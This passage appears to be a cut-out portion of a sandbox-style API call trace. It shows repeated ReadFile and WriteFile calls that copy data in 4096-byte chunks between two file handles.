lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.427] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.427] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.427] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.428] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.428] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.428] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.428] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.428] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.428] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.430] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.430] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.430] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.430] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.431] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.431] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.431] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.431] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.431] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.431] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.431] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.431] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.432] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.432] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.432] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.432] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.432] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.432] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.432] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.432] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.433] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.433] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.433] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.433] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.433] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.433] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.433] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.433] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.434] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.434] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.434] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.434] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.434] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.434] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.434] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.435] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.435] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.435] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.435] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.435] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.435] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.435] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.436] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.436] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.436] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.436] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.436] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.436] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.436] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.436] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.437] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.437] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.437] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.437] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.437] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.437] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.437] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.437] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.438] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.439] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.439] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.439] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.439] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.439] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.440] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.440] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.440] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.440] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.440] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.440] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.440] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.441] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.441] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.441] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.441] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.441] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.441] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.441] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.441] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.442] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.442] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.442] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.442] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.442] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.442] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.442] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.442] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.443] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, 